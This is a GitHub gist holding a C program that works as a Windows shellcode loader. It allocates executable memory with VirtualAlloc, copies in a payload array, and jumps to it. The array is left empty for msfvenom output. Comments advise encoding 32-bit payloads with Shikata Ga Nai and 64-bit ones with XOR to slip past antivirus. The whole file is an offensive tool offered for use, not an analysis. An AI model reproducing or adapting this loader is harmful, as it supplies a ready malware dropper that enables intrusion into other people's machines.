Skip to content

Instantly share code, notes, and snippets.

@lithackr
Last active October 12, 2020 16:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save lithackr/efac09f7d902fd69c7519536a07c3023 to your computer and use it in GitHub Desktop.
Save lithackr/efac09f7d902fd69c7519536a07c3023 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <windows.h> //VirtualAlloc is defined here
unsigned const char payload[] = ""; //shellcode as output by msfv
size_t size = 0; //size of payload in bytes (output by msfv)
int main(int argc, char **argv) {
char *code; //Holds a memory address
code = (char *)VirtualAlloc( //Allocate a chunk of memory and store the starting address
NULL, size, MEM_COMMIT,
PAGE_EXECUTE_READWRITE //Set the memory to be writable and executable
);
memcpy(code, payload, size); //Copy our payload into the executable section of memory
((void(*)())code)(); //Cast the executable memory to a function pointer and run it
return(0);
}
// set payload and size then compile/build
// encode w/ Shikata Ga Nai for 32-bit, and XOR for 64-bit shellcode.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment